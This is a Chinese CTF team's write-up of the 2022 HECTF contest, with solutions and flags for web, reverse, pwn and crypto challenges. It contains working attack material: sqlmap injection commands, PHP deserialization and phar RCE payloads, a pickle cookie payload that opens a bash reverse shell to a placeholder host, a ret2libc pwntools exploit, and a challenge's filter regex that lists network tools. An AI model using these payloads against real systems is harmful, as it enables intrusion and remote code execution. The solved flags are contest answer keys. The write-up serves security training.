2022 HECTF

2022HECTF是由河北师范大学SourceCode战队组织的面向全国大学生的CTF竞技活动,河北师范大学计算机与网络空间安全学院主办,河北省网络与信息安全重点实验室和河北师范大学信息安全协会承办,是面向全国大学生的一次竞技活动。

Rank: 1


Web

迷路的小狮

签到题

HINTS:

官网地址需填写完整(建议复制),无路径即结尾为.cn

进入是迷惑性的404页面,且右键和F12禁用,地址栏手动添加 view-source: 看到源码提示 hectfer

访问 /hectfer 提示 hebnu is a good site.,访问 /hebnu 提示 Can you use another way of requesting?

上burpsuite,按提示按步骤修改request header的几处为:

1
2
3
4
POST /hebnu HTTP/1.1
User-Agent: Internet Explorer
Referer: https://www.hebtu.edu.cn
X-Forwarded-For: 127.0.0.1

在responce header里看到PHPFuck代码,控制台运行直接得到flag:HECTF{sfe2fsa_f39sjfa_hj93sf_ef0skf3fs}

擎天注

找到GET参数id,用sqlmap可以直接通过时间盲注跑出flag。

命令:

1
2
3
4
5
6
7
8
# 爆数据库名
sqlmap -u "http://121.4.111.50:32614/?id=1" --dbs

# 数据库名ctf,爆表名
sqlmap -u "http://121.4.111.50:32614/?id=1" -D ctf --tables

# 数据库名ctf,表名3eDf4f07efC9ee16,爆列名和内容
sqlmap -u "http://121.4.111.50:32614/?id=1" -D ctf -T 3eDf4f07efC9ee16 --columns --dump

easy_unserialize

一道神奇的反序列化题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);

class A{
public $file;
public function __construct(){
echo "Welcome to HECTF Have fun!!!😊<br>";
}
public function __wakeup(){
if(isset($this->file->var)){
$this->file = "flag.php";
}
else{
$this->file = "index.php";
}
}
public function __destruct(){
highlight_file($this->file);
}
}

class B{
public $str;
public $huang;
public function __isset($arg)
{
echo "难道我真的要失败了,吗".$this->str;
}
public function __call($fun1,$arg)
{
return $this->huang->str;

}
}

class C{
public $eee;
public $aaa="who are you?";
public $ccc;
public function __toString()
{
$this->eee->flag();
}
public function __get($css)
{
$function = $this->ccc;
return $function();
}
}

class D{
private $ddd;
private $ext;
public function flag(){
$this->ext->nisa($this->ddd);
}
public function __invoke()
{
echo new $this->ddd($this->ext);
}
}
$gagaga = new A();
unserialize(serialize($gagaga));

$data = $_POST['data'];
unserialize($data);

构造反序列化链:

A:__wakeup() => B:__isset() => C:__toString() => D:flag() => B:__call() => C:__get() => D:__invoke() => echo new()

利用内置类 DirectoryIterator + glob://伪协议列目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from phpserialize import serialize
from urllib.parse import quote

class D:
private_ddd = 'DirectoryIterator'
private_ext = 'glob:///*f*'

class C:
public_ccc = D()
public_eee = '?'
public_aaa = '?'

class B:
public_str = '?'
public_huang = C()

class D:
private_ddd = '?'
private_ext = B()

class C:
public_ccc = '?'
public_eee = D()
public_aaa = '?'

class B:
public_str = C()
public_huang = '?'

class A:
public_file = B()

print(quote(serialize(A())))

# POST payload:
# data = O%3A1%3A%22A%22%3A1%3A%7Bs%3A4%3A%22file%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A5%3A%22huang%22%3Bs%3A1%3A%22%3F%22%3Bs%3A3%3A%22str%22%3BO%3A1%3A%22C%22%3A3%3A%7Bs%3A3%3A%22aaa%22%3Bs%3A1%3A%22%3F%22%3Bs%3A3%3A%22ccc%22%3Bs%3A1%3A%22%3F%22%3Bs%3A3%3A%22eee%22%3BO%3A1%3A%22D%22%3A2%3A%7Bs%3A6%3A%22%00D%00ddd%22%3Bs%3A1%3A%22%3F%22%3Bs%3A6%3A%22%00D%00ext%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A1%3A%22C%22%3A3%3A%7Bs%3A3%3A%22aaa%22%3Bs%3A1%3A%22%3F%22%3Bs%3A3%3A%22ccc%22%3BO%3A1%3A%22D%22%3A2%3A%7Bs%3A6%3A%22%00D%00ddd%22%3Bs%3A17%3A%22DirectoryIterator%22%3Bs%3A6%3A%22%00D%00ext%22%3Bs%3A11%3A%22glob%3A///%2Af%2A%22%3B%7Ds%3A3%3A%22eee%22%3Bs%3A1%3A%22%3F%22%3B%7Ds%3A3%3A%22str%22%3Bs%3A1%3A%22%3F%22%3B%7D%7D%7D%7D%7D
# 文件名 /ffflllllaaaaaaggggg.txt

再利用内置类 SplFileObject + php://filter伪协议读文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from phpserialize import serialize
from urllib.parse import quote

class D:
private_ddd = 'SplFileObject'
private_ext = 'php://filter/read=convert.base64-encode/resource=/ffflllllaaaaaaggggg.txt'

class C:
public_ccc = D()
public_eee = '?'
public_aaa = '?'

class B:
public_str = '?'
public_huang = C()

class D:
private_ddd = '?'
private_ext = B()

class C:
public_ccc = '?'
public_eee = D()
public_aaa = '?'

class B:
public_str = C()
public_huang = '?'

class A:
public_file = B()

print(quote(serialize(A())))

# POST payload
# data = O%3A1%3A%22A%22%3A1%3A%7Bs%3A4%3A%22file%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A5%3A%22huang%22%3Bs%3A1%3A%22%3F%22%3Bs%3A3%3A%22str%22%3BO%3A1%3A%22C%22%3A3%3A%7Bs%3A3%3A%22aaa%22%3Bs%3A1%3A%22%3F%22%3Bs%3A3%3A%22ccc%22%3Bs%3A1%3A%22%3F%22%3Bs%3A3%3A%22eee%22%3BO%3A1%3A%22D%22%3A2%3A%7Bs%3A6%3A%22%00D%00ddd%22%3Bs%3A1%3A%22%3F%22%3Bs%3A6%3A%22%00D%00ext%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A1%3A%22C%22%3A3%3A%7Bs%3A3%3A%22aaa%22%3Bs%3A1%3A%22%3F%22%3Bs%3A3%3A%22ccc%22%3BO%3A1%3A%22D%22%3A2%3A%7Bs%3A6%3A%22%00D%00ddd%22%3Bs%3A13%3A%22SplFileObject%22%3Bs%3A6%3A%22%00D%00ext%22%3Bs%3A73%3A%22php%3A//filter/read%3Dconvert.base64-encode/resource%3D/ffflllllaaaaaaggggg.txt%22%3B%7Ds%3A3%3A%22eee%22%3Bs%3A1%3A%22%3F%22%3B%7Ds%3A3%3A%22str%22%3Bs%3A1%3A%22%3F%22%3B%7D%7D%7D%7D%7D
# HECTF{u_find_m
# y_trulyself}

cute_pipi

观察页面,有图片上传点,url发现存在文件包含,利用伪协议读源码:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);
define('FROM_INDEX', 1);
include('class.php');

$file=$_POST['file'];
$show = empty($_GET['show']) ? 'home' : $_GET['show'];
if(!is_string($show) || preg_match('/\.\./', $show) || preg_match('/zip/i',$show))
die('Not this !!!');

ob_start('ob_gzhandler');

function page_tshow($show) {
?><!DOCTYPE html>
<html>
<body>
<div id="header">
<center><a href="?show=home" class="logo"><img src="images/logo.jpg" alt=""></a></center>
</div>
<div id="body">
<?php
}

function fatal($msg) {
?><div class="article">
<h2>Error</h2>
<p><?=$msg;?></p>
</div><?php
exit(1);
}

page_tshow($show);

if(!(include $show . '.php'))
fatal('no no no');
if(isset($file)){
if(file_exists($file))
echo $file." surely exists";
else
echo $file." dont exist";
}
?>

home.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include 'common.php';
?>
<center>
<div class="article">
<h2>Welcome to HECTF !!!</h2>
<p>
Click here to upload your file => <a href="?show=upload">传送门</a>
</p>

</div>
</center>

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
include 'common.php';

if(isset($_POST['submit']) && isset($_FILES['image'])) {
$fn = $_FILES['image']['tmp_name'];
$ft = $_FILES['image']['type'];

if(!is_uploaded_file($fn)) {
fatal('uploaded file corrupted');
}

$array = array('image/png');
if(!in_array($ft,$array)){
fatal("No, I want png picture ᵕ᷄ι ̠ᵕ᷅");
}

$imagekey = create_image_key();

move_uploaded_file($fn, "uploads/$imagekey.png");

header("Location: ?show=show&imagekey=$imagekey");

} else {
?>
<center>
<div class="article">
<h2>Plz Give me a file I want.</h2>
<form enctype="multipart/form-data" action="?show=upload" method="POST">
<label for="image">ᵕ᷄ι ̠ᵕ᷅
</label>
<input type="file" id="image" name="image" />
<br />
<input type="submit" name="submit" value="Upload" />
</form>
</div>
</center>
<?php
}
?>

common.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if(!defined('FROM_INDEX')) die();

define('MAX_IM_SIZE', 100);

function create_image_key() {
return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() . mt_rand());
}

function load_image($imagekey) {
if(1 !== preg_match('/[0-9a-f]{40}/', $imagekey)) {
fatal('Invalid image key.');
}

$im = imagecreatefrompng("uploads/{$imagekey}.png");
if(!$im) {
fatal('Failed to load image.');
}
return $im;
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class HeCTF{
public $hectf;
public $cmd;

public function __destruct(){
if( isset($this->hectf) && !preg_match('/[0-9]/',$this->hectf) && intval($this->hectf))
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|php|python|mv|mkdir|cp/i', $this->cmd)){
die('No no no no no!');
}
exec($this->cmd);
}
}

审计源码,图片上传点+file_exists()函数+自定义HeCTF类,判断为文件上传+phar反序列化利用。

HeCTF类中RCE使用 tee 命令绕过过滤写文件。

构造phar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class HeCTF{
public $hectf;
public $cmd;
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new HeCTF();
$o->hectf = array('x');
$o->cmd = 'ls / | tee 1';
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

将生成的phar文件改为png后缀上传,在index.php以POST方式传入file值,利用phar伪协议反序列化RCE:

POST: file=phar://uploads/25c3a34d93227241d5dacc8eb84a80ef2aabeab1.png

读到flag文件名 /ffflllllaaaaggg,同样操作构造读flag内容的phar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class HeCTF{
public $hectf;
public $cmd;
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new HeCTF();
$o->hectf = array('x');
$o->cmd = 'cat /ffflllllaaaaggg | tee 1';
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

皮扣的商店

进入页面发现可以点击按钮,但是没钱可用,点击时发现cookie是变化的。

cookie像base64,解码,结合题目可知为json的pickle序列化结果,反推一下:

1
2
3
4
5
6
7
8
import pickle
from base64 import *

enc = "gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu"

print(pickle.loads(b64decode(enc)))

# {'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}

可见使用了hmac哈希,无法爆破,但可以构造RCE代码序列化后放入cookie,点击按钮执行恶意代码,由于页面无结果回显,构造反弹shell代码:

1
2
3
4
5
6
7
8
import base64
import pickle

class A(object):
def __reduce__(self):
return (eval, ("bash -c \"bash -i > /dev/tcp/[IP]/[Port] 0>&1 2>&1\"",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

替换cookie后,点击按钮即可在vps getshell拿flag。

Reverse

贝斯

变表base32,Cyberchef一把梭得到flag。

apk

如何分析Apk呢

用jadx打开apk,在AndroidManifest.xml里发现:

<meta-data android:name="父拉哥" android:value="付拉哥头{Apktool_or_jadx}"/>

flag:HECTF{Apktool_or_jadx}

HelloIos

简单的ios

找到关键加密函数,简单异或还原flag。

ezre

easy reverse

加密逻辑很难看,利用IDA的findcrypt插件可以识别出存在SM4加密算法的关键参数数组。

利用动调找到SM4加密使用的128位key值,导出hex:AD763B4FCDCFD9251089FB0408A45F80,以及128bit密文,导出hex:D75CDA22176DD392A1A570915F66A61C

找一个SM4算法的python脚本解密得到flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
class SM4Cipher:
def __init__(self, key: bytes):
if not len(key) == 16:
raise ValueError("SM4 key must be length of 16. ")
self._key_r = self._generate_key(key)
self.block_size = 16

def encrypt(self, plaintext: bytes):
return self._do(plaintext, self._key_r)

def decrypt(self, ciphertext: bytes):
return self._do(ciphertext, self._key_r[::-1])

def _do(self, text: bytes, key_r: list):
text_ = [0 for _ in range(4)]
# 将 128bit 转化成 4x32bit
for i in range(4):
text_[i] = int.from_bytes(text[4 * i:4 * i + 4], 'big')
for i in range(32):
box_in = text_[1] ^ text_[2] ^ text_[3] ^ key_r[i]
box_out = self._s_box(box_in)
temp = text_[0] ^ box_out ^ self._rot_left(box_out, 2) ^ self._rot_left(box_out, 10)
temp = temp ^ self._rot_left(box_out, 18) ^ self._rot_left(box_out, 24)
text_ = text_[1:] + [temp]
text_ = text_[::-1] # 结果逆序
# 将 4x32bit 合并成 128bit
result = bytearray()
for i in range(4):
result.extend(text_[i].to_bytes(4, 'big'))
return bytes(result)

def _generate_key(self, key: bytes):
"""密钥生成"""
key_r, key_temp = [0 for _ in range(32)], [0 for _ in range(4)]
FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]
CK = [0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269, 0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249, 0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229, 0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209, 0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279]
# 将 128bit 拆分成 4x32bit
for i in range(4):
temp = int.from_bytes(key[4 * i:4 * i + 4], 'big')
key_temp[i] = temp ^ FK[i]
# 循环生成轮密钥
for i in range(32):
box_in = key_temp[1] ^ key_temp[2] ^ key_temp[3] ^ CK[i]
box_out = self._s_box(box_in)
key_r[i] = key_temp[0] ^ box_out ^ self._rot_left(box_out, 13) ^ self._rot_left(box_out, 23)
key_temp = key_temp[1:] + [key_r[i]]
return key_r

@staticmethod
def _s_box(n: int):
BOX = [0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05, 0x2B,
0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99, 0x9C, 0x42,
0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62, 0xE4, 0xB3, 0x1C,
0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6, 0x47, 0x07, 0xA7, 0xFC,
0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8, 0x68, 0x6B, 0x81, 0xB2, 0x71,
0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35, 0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58,
0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21, 0x78, 0x87, 0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27,
0x52, 0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E, 0xEA, 0xBF, 0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5,
0xA3, 0xF7, 0xF2, 0xCE, 0xF9, 0x61, 0x15, 0xA1, 0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 0x1A, 0x55, 0xAD,
0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3, 0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29,
0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F, 0xD5, 0xDB, 0x37, 0x45, 0xDE, 0xFD, 0x8E, 0x2F, 0x03, 0xFF, 0x6A,
0x72, 0x6D, 0x6C, 0x5B, 0x51, 0x8D, 0x1B, 0xAF, 0x92, 0xBB, 0xDD, 0xBC, 0x7F, 0x11, 0xD9, 0x5C, 0x41,
0x1F, 0x10, 0x5A, 0xD8, 0x0A, 0xC1, 0x31, 0x88, 0xA5, 0xCD, 0x7B, 0xBD, 0x2D, 0x74, 0xD0, 0x12, 0xB8,
0xE5, 0xB4, 0xB0, 0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96, 0x77, 0x7E, 0x65, 0xB9, 0xF1, 0x09, 0xC5, 0x6E,
0xC6, 0x84, 0x18, 0xF0, 0x7D, 0xEC, 0x3A, 0xDC, 0x4D, 0x20, 0x79, 0xEE, 0x5F, 0x3E, 0xD7, 0xCB, 0x39,
0x48]
result = bytearray()
# 将 32bit 拆分成 4x8bit,依次进行S盒变换
for item in list(n.to_bytes(4, 'big')):
result.append(BOX[item])
return int.from_bytes(result, 'big')

@staticmethod
def _rot_left(n, m):
"""循环左移"""
return ((n << m) | (n >> (32 - m))) & 0xFFFFFFFF

key = bytes.fromhex("AD763B4FCDCFD9251089FB0408A45F80") # 128bit密钥
sm4 = SM4Cipher(key)

# 动调测试加密
# plaintext = bytes.fromhex("0123456789abcdeffedcba9876543210") # 128bit明文
# print(sm4.encrypt(plaintext).hex())

# 解密
c = bytes.fromhex("D75CDA22176DD392A1A570915F66A61C")
print(sm4.decrypt(c).hex())

# 6f2069d8ab245446d789590d2cfe20d6

author’sB0x

still ez

识别代码逻辑为RC4算法,key为 thiskey,提取密文hex为 C3F5E5E2EC17E52ACA03B6FDC1BC704410CDA6130B9A73060E4DDE95129CD946

Cyberchef解出flag:HECTF{Th3CutW0rmF0rgiv3sTh3Pl0w}

run

分析代码逻辑,为8层8*8迷宫,其中0为可走方块,1为不可走方块,wsad为上下左右,u为下一层,n为上一层。

将8层01迷宫矩阵打印出来,从第一层 (0,0) 手动模拟走迷宫,得到路径 ssddssuuwwddndduuussdussasauudd,加上HECTF{}即为flag。

还原md5

MD5(flag) = 55a573c5ff5ae053ee7f165c6e972613 哈哈哈,逆去吧

HINTS:

注意,re题目md5的flag提交时不需要再套HECTF{}

txt内容像是调用libsfdata.so计算md5过程汇编操作记录,既然是全过程,肯定有读入原始数据,以16进制存入寄存器或内存的痕迹,HECT的hex值”48454354“,注意是小端序,全局搜索 54434548,找到 r6=0x54434548 疑似读入寄存器操作,继续全局搜索 => r6=0x,有

1
2
3
4
5
6
7
8
9
10
11
12
Line 44619: [23:49:43 081][libsfdata.so 0x0b2eb] [8e58    ] 0x4000b2ea: "ldr r6, [r1, r2]" r1=0xbffff3c9 r2=0x0 => r6=0x54434548
Line 44624: [23:49:43 081][libsfdata.so 0x0b2eb] [8e58 ] 0x4000b2ea: "ldr r6, [r1, r2]" r1=0xbffff3c9 r2=0x4 => r6=0x444d5f46
Line 44629: [23:49:43 082][libsfdata.so 0x0b2eb] [8e58 ] 0x4000b2ea: "ldr r6, [r1, r2]" r1=0xbffff3c9 r2=0x8 => r6=0x31332b32
Line 44634: [23:49:43 083][libsfdata.so 0x0b2eb] [8e58 ] 0x4000b2ea: "ldr r6, [r1, r2]" r1=0xbffff3c9 r2=0xc => r6=0x39363636
Line 44639: [23:49:43 083][libsfdata.so 0x0b2eb] [8e58 ] 0x4000b2ea: "ldr r6, [r1, r2]" r1=0xbffff3c9 r2=0x10 => r6=0x37313237
Line 44644: [23:49:43 084][libsfdata.so 0x0b2eb] [8e58 ] 0x4000b2ea: "ldr r6, [r1, r2]" r1=0xbffff3c9 r2=0x14 => r6=0x34393338
Line 44649: [23:49:43 085][libsfdata.so 0x0b2eb] [8e58 ] 0x4000b2ea: "ldr r6, [r1, r2]" r1=0xbffff3c9 r2=0x18 => r6=0x43753059
Line 44654: [23:49:43 085][libsfdata.so 0x0b2eb] [8e58 ] 0x4000b2ea: "ldr r6, [r1, r2]" r1=0xbffff3c9 r2=0x1c => r6=0x6f646e61
Line 44659: [23:49:43 086][libsfdata.so 0x0b2eb] [8e58 ] 0x4000b2ea: "ldr r6, [r1, r2]" r1=0xbffff3c9 r2=0x20 => r6=0x743f7431
Line 44664: [23:49:43 087][libsfdata.so 0x0b2eb] [8e58 ] 0x4000b2ea: "ldr r6, [r1, r2]" r1=0xbffff3c9 r2=0x24 => r6=0x4b233964
Line 44669: [23:49:43 087][libsfdata.so 0x0b2eb] [8e58 ] 0x4000b2ea: "ldr r6, [r1, r2]" r1=0xbffff3c9 r2=0x28 => r6=0x37705f6e
Line 44674: [23:49:43 088][libsfdata.so 0x0b2eb] [8e58 ] 0x4000b2ea: "ldr r6, [r1, r2]" r1=0xbffff3c9 r2=0x2c => r6=0x80775576

提取出r6的值hex转字符即为flag:HECTF_MD2+31666972178394Y0uCando1t?td9#Kn_p7vUw

Pwn

签到

先利用 \x00 截断绕过 strcmp 比较,进入 system('vim -R') 的vim交互模式,再使用vim命令 :e 文件名 读取flag内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level='debug'
r = remote('121.4.111.50',32365)

r.recvline()
r.recvline()
r.send(b'\x00')

r.recvline()
r.recvline()
r.recvline()

r.send(b'x')
r.sendline(b':e flag')

r.interactive()

值得注意的是,由于进入vim命令会清空终端内容,在pwntools交互下读取的内容会被瞬间刷掉,可以将输出重定向到文件,获取到flag内容输出:

python test.py > output.txt

真·签到

听说你还没签上到

int类型强制转换为char,当值为128~255时变成负数,模拟伪代码,在最大值2147483647附近尝试寻找所需数字:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>

int main()
{
unsigned int x = 2147483646-124;
printf("%d\n", x);
int y = x;
printf("%d\n", (char)y);
printf("%d\n", (char)y<-125);
printf("%d\n", y>255);

return 0;
}

2147483522满足条件,传入后getshell拿到flag。

fmt

程序开了PIE,gdb动调,利用格式化字符串漏洞泄露当前函数地址,再减去偏移得到程序基址,剩下的部分简单ret2libc即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

r = remote('121.4.102.43',31550)
elf = ELF('./fmt')
libc = ELF('/root/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')

#gdb.attach(r,'b *$rebase(0x123a)')
r.recvline()
r.send(b'%15$p')
pie_base = eval(r.recv(14))-0x123a
print(hex(pie_base))

pop_rdi = pie_base+0x1333
pop_rsi_r15 = pie_base+0x1331
ret = pie_base+0x101a
puts_got = pie_base+elf.got.puts
puts_plt = pie_base+elf.plt.puts
get = pie_base+0x12ab

pl = b'a'*(0x10+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(get)
r.sendline(pl)

puts_addr = u64(r.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

libc_base = puts_addr-libc.sym.puts
print(hex(libc_base))
system = libc_base+libc.sym.system
binsh = libc_base+libc.search(b'/bin/sh\x00').__next__()

pl = b'a'*(0x10+8)+p64(pop_rdi)+p64(binsh)+p64(pop_rsi_r15)+p64(0)*2+p64(system)+p64(get)
print(len(pl))
r.sendline(pl)

r.interactive()

Crypto

流动的音符

txt内为音符加密,使用在线解密工具解密得到flag。

matrix

出题失误,源码泄露拿到flag。

ezrsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import *
from secret import flag
flag = b'xxx'
e = 114
m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
t = getPrime(1024)
n = p * q * t
p_=pow(p,2,n)
q_=pow(q,2,n)
c = pow(m,e,n)

print('p_=',p_)
print('q_=',q_)
print('c=',c)
print('n=',n)
#p_= 10660749010264526666955869622200514149424664070021154725214604278423033834800955315638637946982741577976025615843487738805576629855459529381681679497064453109727962183277768658053394103348827822686515016677449953958986089293779870089604784750116267441026319440135025236091029928565442799040007751858012409498271852333017388486644053877238274838173771344350870565886676055860728949042361028753924290647753862707042472944714140635484722345522648010064713004854479094986010632316750770118044301903260988074471243247031854872785324506292730778884664223412372663828159205320038546293395502275887356885181013870536857351801
#q_= 24900409366873586425973971191854411152048453357438215578406168704445779543895031579176888535442469919297663892450230816720758414920791049333275007446412352293152157437672026001378469357187698312455020558413101033543700131403373834030395855212901673914686297701313223697181049265286011127188695284002470629178098454764536315245968458622929902214839704674718996340182311301099900271312644919770585429288043854743210617868761990329037081770477261306489047429460937057125193231432195877922731165870197358946683698077175950756482605399815830687563398277515452842563143685190688865084064679712177247354049377034394880941369
#c= 946358882688806235743551077996671406469185038565566907261383734984318844703303437873183869084536703835433988817350857866089668970925835657856975155167500190428922521871327955274363186305180350899397478897928581580727458938934640786146518171503388507311655160765881370401217708135845031083189007308497775864484758699096082815479602777639307812516934937183952478316508418895341680335172973583094238147073379957772209947376051520041093030641369536800448737539973770258342422560893630082723217759837690008955748444973711508371077927468399703456466637348191192859278206925769696645636969358967735037470196395844215361527039288120664704552775460536654859848091685928057224735031528303041212702445718384890182474053295656578327780048497422707815820736647212902522526653039676698263673166412650104420869762547385554961873764933774143297622712766521201037469301912471740996998228799841957283759679784569638149555093498363791420486340
#n= 1677924010415009671349677258549532467848510897335579570922114838282842960143799964694977371357046837674443739542407516581076865550606801686170400793463690366665534118961173768008603133641864003317727610676872685077700753537755254540591236871020140458419596610210236431401477173114522177145982007059709616618279936170223104755776796458682957656555154039384483954754660803554302451221585280396378564648495919069459351016010016636012245082009946238467068412198769348889950331295680906811430325690102055808865038151762131291269197341984605959088829226733422023970618165958725486675321766767430347929319621215891165857544847088373700410007500868721335483070938971597851859953792409442485301373327127595552457801719192824050415833073999094005750868115932130442747899994421453654008731830580286370350900523295205445599466666709544075950517531382971246869745425091317996973135364990272852701046046315136273893166361180330563013617843

因 $p^2<n,q^2<n$,可直接开放求得 $p,q$ 及 $r$。

又 $\gcd(e,\varphi)=6$,利用 $\gcd(\cfrac{e}{6},\varphi)=1$ 先常规RSA计算出 $m^6$ 再开方即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
p_ = 
q_ =
c =
n =
import gmpy2
p = gmpy2.iroot(p_,2)[0]
q = gmpy2.iroot(q_,2)[0]
r = n//(p*q)
f = (p-1)*(q-1)*(r-1)
e = 114
d = inverse_mod(e//6,f)
mm = pow(c,d,n)
m = gmpy2.iroot(mm,6)[0]
print(bytes.fromhex(hex(m)[2:]))

# b'HECTF{Congratulation!!you_find_flag}'

rsa2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Util.number import *
import sympy
import random
import math
from secret import flag, hint, e1

def mygenerate():
while True:
p = getPrime(512)
if p % 8 == 5:
break
g = p-random.randint(1 << 13, 1 << 15)
q = sympy.nextprime(math.gamma(g+1) % p)
return p, g, q

p, g, q = mygenerate()
n = p*q
e2 = 65537
m1 = bytes_to_long(flag)
m2 = bytes_to_long(hint)
c1 = pow(m1, e1, p)
c2 = pow(m2, e2, n)

print('p ='+str(p))
print('g ='+str(g))
print('c1 ='+str(c1))
print('c2 ='+str(c2))
'''
p =8245512408967243371517759893329519667642119269153889262506106732818518415823601207067006537187243355250850586456796829524581895578331334132038513672846909
g =8245512408967243371517759893329519667642119269153889262506106732818518415823601207067006537187243355250850586456796829524581895578331334132038513672815766
c1 =6235217214618484469008717065109058585860810027126999050539741461978786126300064219884646722757808536523766850480291000964963856026236813451563022630637528
c2 =11968687437667021636457941077557698735979559596315355015261643918655719362366246657937192921814834456270616376603153881488026042955084056042773344426448580968726245676672896245296438903588066436834165402064132845092674100931069500643230951702318353312541552786636249326131049369846465301549915712690800690627
'''

素因子的生成函数中,

$q=\text{nextprime}(\Gamma(g+1) \bmod p)=\text{nextprime}(g! \bmod p)=\text{nextprime}((p-r)! \bmod p)$

结合威尔逊定理 $(p-2)! \equiv 1 \pmod p$,有

$q = \text{nextprime}(\prod\limits_{k=2}^{r-1}(p-k)^{-1} \bmod p)$

求出 $p,q$ ,RSA解密得hint:$e_1=2$,再解密得 $m$。

1
2
3
4
5
6
7
8
9
10
